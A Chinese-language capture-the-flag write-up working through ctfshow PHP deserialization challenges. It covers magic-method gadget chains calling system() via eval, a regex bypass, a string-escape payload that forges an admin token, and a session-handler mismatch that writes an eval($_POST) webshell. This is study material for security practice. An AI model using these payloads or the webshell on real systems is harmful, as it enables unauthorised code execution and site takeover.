未队用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等后果。
unserialize函数的参数、变量可控,php文件中存在可利用的类,类中有魔术方法
__sleep() //在对象被序列化之前运行 __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过) __construct() //当对象被创建时,会触发进行初始化 __destruct() //对象被销毁时触发 __toString(): //当一个对象被当作字符串使用时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据(不可访问的属性包括:1.属性是私有型。2.类中不存在的成员变量) __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当尝试以调用函数的方式调用一个对象时
序列化对象:
private变量会被序列化为:\x00类名\x00变量名
protected变量会被序列化为: \x00*\x00变量名
public变量会被序列化为:变量名
if(isset($username) && isset($password)){ $user = unserialize($_COOKIE['user']); if($user->login($username,$password)){ if($user->checkVip()){ $user->vipOneKeyGetFlag(); } }else{ echo "no vip,no flag"; }
分析一下代码,首先通过反序列化获取对象(序列化将对象保存到字符串,反序列化将字符串恢复为对象,之后checkVip要求是true,然后执行vipOneKeyGetFlag获取flag。我们需要配合php生成代码,再向网站中写入cookie字段并传入参数就能获得flag,之后get请求传入vipOneKeyGetFlag
<?php class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=true; } echo urlencode(serialize(new ctfShowUser()));
这一题和上一题一样,只是需要改一下ctfShowUser类里面的参数,然后保证get上传参数的值和类里面一样就行了
这一题用了__construct,__destruct()
两个魔术方法,__construct
当对象被创建的时候自动调用,对对象进行初始化。当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()
魔术方法
我们可以再执行__constuct
的时候初始化hackDoor类,方便我们进行命令执行的利用,之后反序列化结束后,执行__destruct
,此时eval($this->code);
等价于eval(system('cat flag.php');)
<?php error_reporting(0); class ctfShowUser{ private $username='xxxxxx'; private $password='xxxxxx'; private $isVip=false; private $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ private $code = "system('cat flag.php');"; public function getInfo(){ eval($this->code); } } echo urlencode(serialize(new ctfShowUser())); ?>
同时username与password传入参数xxxxxx
if(isset($username) && isset($password)){ if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){ $user = unserialize($_COOKIE['user']); }
这一题多了一个过滤的条件,过滤了以字母 o
或 c
开头,后面紧跟一个冒号,然后是一个或多个数字,最后是一个冒号的字符串。可以使用+
绕过
<?php error_reporting(0); highlight_file(__FILE__); class ctfShowUser{ public $username='xxxxxx'; public $password='xxxxxx'; public $isVip=false; public $class = 'backDoor'; public function __construct(){ $this->class=new backDoor(); } public function login($u,$p){ return $this->username===$u&&$this->password===$p; } public function __destruct(){ $this->class->getInfo(); } } class backDoor{ public $code = "system('tac f*');"; public function getInfo(){ eval($this->code); } } $a = new ctfShowUser(); $a = serialize($a); $a = str_replace('O:','O:+',$a);#绕过正则 echo urlencode($a); ?>
还没想明白
<?php error_reporting(0); highlight_file(__FILE__); include('flag.php'); if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){ echo $flag; }
这一题挺逗的,直接就是ctfshow=ctfshow_i_love_36D
,一开始真的觉得和序列化有关系,然后发现源码中是对它序列化,才发现可以直接传0.0
<?php class ctfshowvip{ public $username; public $password; public $code = "system('ls /');"; public function __construct($u,$p) { $this->username=$u; $this->password=$p; }__unserialize方法 public function __wakeup()#调用了__unserialize($data)方法,因为变量数量不一样,所以直接绕过了 { if($this->username!='' || $this->password!=''){ die('error'); } } public function __invoke()#无法调用这个 { eval($this->code); } public function __sleep() { $this->username=''; $this->password=''; } public function __unserialize($data) { $this->username=$data['username']; $this->password=$data['password']; $this->code = $this->username.$this->password; } public function __destruct() { if($this->code==0x36d){ file_put_contents($this->username, $this->password); } } } ?>
$this->code==0x36d
是弱类型比较,而且0x36d没有引号,可以使用10进制绕过,所以我们只要让$this->username=877.php
就行了因为__sleep() //在对象被序列化之前运行
所以我们不能直接在变量处赋值,但是可以在__construct
魔术方法处给变量赋值
<?php class ctfshowvip{ public $username; public $password; public $code; public function __construct($u = '877.php',$p = "<?php echo system('tac /f*');?>"){ $this->username=$u; $this->password=$p; } } echo urlencode(serialize(new ctfshowvip())); ?>
传值后查看877.php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 02:37:19 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 16:05:38 # @message.php # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; } highlight_file(__FILE__);
看了好久也没有发现可以操作的地方,dirsearch也扫不出东西,去看别人的wp发现在注释里面有个message.php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-03 15:13:03 # @Last Modified by: h1xa # @Last Modified time: 2020-12-03 15:17:17 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }
直接上传序列化token=admin
<?php class message{ public $token='admin'; } echo base64_encode(serialize(new message()));
$umsg = str_replace('fuck', 'loveU', serialize($msg));
str_replace
会将fuck
替换成loveU
,导致字符变长,所以可以使用一下字符逃逸。
反序列字符串都是以";}
结束的,所以我们把";}
带入需要反序列化的字符串中,就能让反序列化提前闭合结束,后面的内容就丢弃了。在反序列化的时候php会根据所指定的字符长度去读取后边的字符。如果指定的长度s错误则反序列化就会失败
使用前提:
这一题就是字符串变长的情况,先上payload
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
我们需要逃逸的字符串是";s:5:"token";s:5:"admin";}
这一段
每多一个fuck就会让序列化以后的字符多一位,eg:$t=fuck
用反序列化读取变量的原则来讲,在经过修改以后to
能读到的也只有前面四位love
,后面的那个U
是读不到的,这就形成了一个字符串逃逸。当我们添加多个fuck
,每添加一个就能逃逸一个字符,那我们将逃逸的字符串的长度填充成我们要反序列化的代码长度的话那就可以控制反序列化的结果以及类里面的变量值了。
我们的逃逸内容在加上逃逸内容长度个被替换字符就能组成我们的payload
,这里填充了27个fuck
在被替换以后会增加27个字符的长度,这27个字符会填充当前需要逃逸字符串的长度,而需要逃逸的字符串则顺利的逃逸处了php反序列化中s的检查。逃逸或者说被 “顶” 出来的字符串就会被当做当前类的属性被继续执行。
进入环境是一个登录页面,查看源码也没发现什么东西,用dirseach扫一下,扫出来www.zip
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-03 16:59:10 # @Last Modified by: h1xa # @Last Modified time: 2020-09-06 19:15:38 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); require_once 'inc/inc.php'; $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']); if($GET){ $data= $db->get('admin', [ 'id', 'UserName0' ],[ "AND"=>[ "UserName0[=]"=>$GET['u'], "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破 ] ]); if($data['id']){ //登陆成功取消次数累计 $_SESSION['limit']= 0; echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0'])); }else{ //登陆失败累计次数加1 $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1); echo json_encode(array("error","msg"=>"登陆失败")); } }
index.php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-03 16:28:37 # @Last Modified by: h1xa # @Last Modified time: 2020-09-06 19:21:45 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); session_start(); //超过5次禁止登陆 if(isset($_SESSION['limit'])){ $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']); $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1); }else{ setcookie("limit",base64_encode('1')); $_SESSION['limit']= 1; } ?> function check(){ $.ajax({ url:'check.php', type: 'GET', data:{ 'u':$('#u').val(), 'pass':$('#pass').val() }, success:function(data){ alert(JSON.parse(data).msg); }, error:function(data){ alert(JSON.parse(data).msg); } }); } </script> </body> </html>
inc.php
<?php error_reporting(0); ini_set('display_errors', 0); ini_set('session.serialize_handler', 'php'); date_default_timezone_set("Asia/Shanghai"); session_start(); use \CTFSHOW\CTFSHOW; require_once 'CTFSHOW.php'; $db = new CTFSHOW([ 'database_type' => 'mysql', 'database_name' => 'web', 'server' => 'localhost', 'username' => 'root', 'password' => 'root', 'charset' => 'utf8', 'port' => 3306, 'prefix' => '', 'option' => [ PDO::ATTR_CASE => PDO::CASE_NATURAL ] ]); // sql注入检查 function checkForm($str){ if(!isset($str)){ return true; }else{ return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\(|\)|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str); } } class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s')); } } /*生成唯一标志 *标准的UUID格式为:xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12) */ function uuid() { $chars = md5(uniqid(mt_rand(), true)); $uuid = substr ( $chars, 0, 8 ) . '-' . substr ( $chars, 8, 4 ) . '-' . substr ( $chars, 12, 4 ) . '-' . substr ( $chars, 16, 4 ) . '-' . substr ( $chars, 20, 12 ); return $uuid ; }
现在不知道干什么了,看一下大佬的博客,考察点php session反序列化漏洞,参考别人的博客
在php.ini中存在三项配置项:
session.save_path="" --设置session的存储路径 session.save_handler="" --设置用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数 session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
以上的选项就是与PHP中的Session存储和序列话存储有关的选项。
在phpstudy组件安装中,上述配置项如下:
session.save_path="D:\phpstudy_pro\Extensions\tmp\tmp" 表明所有的session文件都是存储在\phpstudy_pro\Extensions\tmp\tmp session.save_handler = files 表明session是以文件的方式来进行存储的 session.auto_start = 0 表明默认不启动session session.serialize_handler = php 表明session的默认序列话引擎使用的是php序列话引擎
在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 php:存储方式是,键名+竖线+经过serialize()函数序列处理的值 php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
在 php_serialize 引擎下,session文件中存储的数据为:
a:1:{s:4:"name";s:6:"spoock";}
php 引擎下文件内容为:
name|s:6:"spoock";
php_binary 引擎下文件内容为:
names:6:"spoock";
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确的反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。
会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过
session_set_save_handler() 设定的用户自定义会话管理器。 通过 read
回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $SESSION 超级全局变量
第一次访问index.php就会产生session,之后如果limit没超过5的话,$_SESSION['limit']=base64_decode($_COOKIE['limit']);
Cookie可控,因此session就可控了。再去找一下利用点,直接找session_start,inc.php里面有session-start(),存在User类,有一个文件写入,文件名和写入的内容都可控,因此可以写马,自此反序列化链也就理顺了。
<?php class User{ public $username; public $password; function __construct(){ $this->username = "1.php"; $this->password = '<?php eval($_POST[0]);?>'; } } echo base64_encode("|".serialize(new User()));
首先访问index.php,然后改cookie,再刷新一次index.php,再访问一次check.php,这样马就写好了,然后RCE即可。
虽然有个session,但是好像也用不上,可以用之前的那个字符逃逸的payload,只是需要加上一个msg的cookie
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-04 23:52:24 # @Last Modified by: h1xa # @Last Modified time: 2020-12-05 00:17:08 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); include('flag.php'); highlight_file(__FILE__); class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } } $ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand()); if($ctfshow->login()){ echo $flag; }
源码的大致意思是要让一个随机token值和password相等,这个mt_rand不好预测(主要是我也不知道怎么预测),尝试引用的方法,将password赋值为token的引用
<?php class ctfshowAdmin{ public $token; public $password; public function __construct(){ $this->password = &$this->token; } } $a = new ctfshowAdmin(); echo (serialize($a));
$cs = file_get_contents('php://input');
一眼post传参
if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); }
有一个正则,序列化中的大小写不敏感,可以改一下字母大小写绕过
O:7:"ctFshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
还看到一种方法:破坏结构进行析构,传入一个破坏了反序列化字符串结构的字符串进去,使得,即使异常了,也会析构。
O:7:"ctFshow":2:{}
感觉好牛,就是不知道原理是什么样